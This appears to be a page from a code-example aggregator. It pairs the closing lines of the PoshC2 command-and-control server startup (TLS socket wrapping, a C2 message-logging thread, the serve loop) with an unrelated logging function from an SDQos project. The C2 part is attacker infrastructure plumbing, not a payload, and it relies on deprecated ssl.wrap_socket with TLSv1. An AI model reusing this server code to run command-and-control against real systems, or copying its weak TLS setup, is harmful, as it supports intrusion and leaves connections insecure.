                httpd.socket = ssl.wrap_socket(
                    httpd.socket,
                    keyfile="%sposh.key" % PoshProjectDirectory,
                    certfile="%sposh.crt" % PoshProjectDirectory,
                    server_side=True,
                    ssl_version=ssl.PROTOCOL_TLSv1)
        else:
            raise ValueError("Cannot find the certificate files")

    c2_message_thread = threading.Thread(target=log_c2_messages, daemon=True)
    c2_message_thread.start()

    try:
        httpd.serve_forever()
    except (KeyboardInterrupt, EOFError):
        httpd.server_close()
        print(time.asctime() + " PoshC2 Server Stopped - %s:%s" %
              (BindIP, BindPort))
        sys.exit(0)
Example #60
0
File: SDQos.py Project: lw07/SDQos
def pwrite(serverid, appid, blksize, curtoken):
    f = SERVER[serverid].getlog()
    f.write(
        str(time.asctime(time.localtime(time.time()))) + ' ,' + appid +
        ' , server' + str(serverid) + ' ,' + str(blksize) + 'kb ,' +
        str(curtoken) + '\n')